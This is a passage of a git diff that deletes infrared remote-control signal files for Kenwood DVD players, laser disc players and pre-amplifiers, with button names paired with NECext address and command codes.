00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: /<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: >>>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: >>/ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 19 00 00 00 -# -name: B._/REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 19 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CLEAR_/N -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1B 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1C 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: PGM_/J -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: PROGRAM_(PGM) -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 40 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 43 00 00 00 -# -name: DISC_SEL -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISK_SEL. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_SEL._/G -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_SEL. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4C 00 00 00 -# -name: DISC_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4D 00 00 00 -# -name: DIC_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4F 00 00 00 -# -name: A-_/RANDOM -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4F 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 55 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5E 00 00 00 -# -name: TIME_DISP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5E 00 00 00 -# -name: TIME_/I -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5E 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5F 00 00 00 -# -name: PLUS_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 80 00 00 00 -# -name: D'_PLUS1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 80 00 00 00 -# -name: PLUS_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 81 00 00 00 -# -name: E(_PLUS2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 81 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 82 00 00 00 -# -name: PLUS_3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 82 00 00 00 -# -name: F)_PLUS3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 82 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 88 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 89 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DISP. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DISP._/H -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: DISP._BRIGHTNESS -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: ALL_DATA_READ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8F 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 91 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 92 00 00 00 -# -name: USER_FILE_NAME -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 95 00 00 00 -# -name: TEXT_DISP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 96 00 00 00 -# -name: ALL_INFO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 97 00 00 00 -# -name: T.SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 98 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C0 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C0 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: TOP_MENU/FOLDER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: TOP_MENU/FOLDER_SEAR -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: MP3_FOLDER_SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: MENU/FILE_S. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: FILE_SEARCH_/_MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: MP3_FILE_SEARCH -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C4 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C8 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C9 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C9 00 00 00 -# -name: C/_AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C9 00 00 00 -# -name: P.B.C. -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CB 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: P.AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: PURE_AUDIO_/R -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: PURE_AUDIO -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CC 00 00 00 -# -name: SQ.MODE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CD 00 00 00 -# -name: DISC_FLIP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CE 00 00 00 -# -name: DISK_FLIP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CE 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: CF 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: /\_/V_SEQ._PAGE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: SEQ._PAGE_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D1 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: \/_/Z_SEQ.PAGE -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: SEQ_PAGE_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D2 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D3 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D3 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D4 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D5 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D6 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D7 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D8 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: D9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir deleted file mode 100644 index 98d2f6855..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 09 00 00 00 -# -name: PAGE/CHANNEL_- -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 40 00 00 00 -# -name: PAGE/CHANNEL_+ -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 41 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 42 00 00 00 -# -name: OPTIONS/MENU -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 43 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 45 00 00 00 -# -name: <_> -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 48 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 49 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 4A 00 00 00 -# -name: OPENGLOBE -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 4F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 51 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 52 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 53 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 54 00 00 00 -# -name: DAY_+/PLAY -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 59 00 00 00 -# -name: DAY_-/STOP -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 5A 00 00 00 -# -name: BACKSPACE/PG_DN_<<< -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 5B 00 00 00 -# -name: SPACE/PAGE_UP_>>> -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 5C 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 5F 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B6 58 00 00 -command: 81 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C0 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C1 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C2 00 00 00 -# -name: PASS_THOUGH_/_FAV -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C3 00 00 00 -# -name: E-MAIL -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C5 00 00 00 -# -name: WEB/LAST_CH. -type: parsed -protocol: NECext -address: B6 58 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir deleted file mode 100644 index bf3243738..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir deleted file mode 100644 index bc71a4b79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 0A 00 00 00 -# -name: AUDIO_MONI. -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 0F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 10 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 11 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 12 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 14 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 15 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 16 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 17 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 18 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 19 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 1A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 1B 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 1F 00 00 00 -# -name: AUTO_DIGITAL -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 40 00 00 00 -# -name: TV/DISC -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 41 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 42 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 43 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 4A 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 4E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 4F 00 00 00 -# -name: FRAME/TIME -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 57 00 00 00 -# -name: STILL/STEP_< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 58 00 00 00 -# -name: STILL/STEP_> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 59 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 5A 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 5B 00 00 00 -# -name: MULTI_SPEED_- -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 5C 00 00 00 -# -name: MULTI_SPEED_+ -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 5D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 5F 00 00 00 -# -name: JOG_FWD_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 80 00 00 00 -# -name: JOG_REV_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 88 00 00 00 -# -name: MNT/HIT_MASTER -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 97 00 00 00 -# -name: MIDNIGHT_THEATER -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 97 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 98 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 99 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9A 00 00 00 -# -name: M-STOP -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9B 00 00 00 -# -name: M-SHOT -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9D 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir deleted file mode 100644 index ee6ee5e84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD_STOP_[] -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 11 00 00 00 -# -name: LD_PAUSE_ -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 12 00 00 00 -# -name: LD_REW_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 14 00 00 00 -# -name: LD_FF_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 15 00 00 00 -# -name: LD_PLAY_> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir deleted file mode 100644 index e89194a3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir +++ /dev/null @@ -1,530 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: TUNER/CD_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: EQ.EFFECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 1D 00 00 00 -# -name: DELAY_TIME_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: DELAY_TIME_DWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: DELAY_TIME_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: DELAY_TIME_UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: TEST_TONE_ON/OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 57 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 58 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 59 00 00 00 -# -name: TUNER/CD_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER/CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: TUNER/CD_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: TUNER/CD_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: TUNER/CD_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: TUNER/CD_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: TUNER/CD_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: TUNER/CD_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: TUNER/CD_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: TUNER/CD_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8A 00 00 00 -# -name: TUNER_P.CALL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_DWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: TUNER_P.CALL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: VOL_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOL_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: TUNER_DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: EQ.M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C5 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: TAPEA_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPE_A_R_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: 